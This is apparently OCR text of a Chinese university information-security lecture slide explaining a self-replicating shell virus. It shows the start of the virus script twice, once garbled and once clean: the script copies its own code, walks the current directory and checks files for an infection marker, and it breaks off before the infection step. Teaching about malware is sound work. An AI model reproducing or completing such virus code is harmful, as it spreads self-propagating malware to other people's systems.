正在加载图片...
上文通大学 SHANGHAI JLAO TONG UNIVERSITY 第三,具有感染机制的Shel川病毒 #shellvirus lll# #infection 国 head-n 35 $0 >.test1 #取病毒自身代码并保存到.test © for file in ./ #遍历当前目录中的文件 国 do 国 echo Sfile 国 head -n 2 Sfile >.mm #提取要感染的脚本文件的第一行 © if grep infection .mm >.mmm #判断是否有感染标记infection 国 then #已经被感染,则跳过 国 echo "infected file and rm.mm" 国 rm-f.mm © else #尚未感染,继续执行 © if test -f Sfile 国 then echo "test -f" if test-x Sfile then echo "test x" 信息安全工程学院信息安全工程学院 第三,具有感染机制的Shell病毒 #shellvirus III# #infection head -n 35 $0 > .test1 #取病毒自身代码并保存到.test for file in ./* #遍历当前目录中的文件 do echo $file head -n 2 $file > .mm #提取要感染的脚本文件的第一行 if grep infection .mm > .mmm #判断是否有感染标记infection then #已经被感染,则跳过 echo "infected file and rm .mm" rm -f .mm else #尚未感染,继续执行 if test -f $file then echo "test -f" if test -x $file then echo "test -x
<<向上翻页向下翻页>>
©2008-现在 cucdc.com 高等教育资讯网 版权所有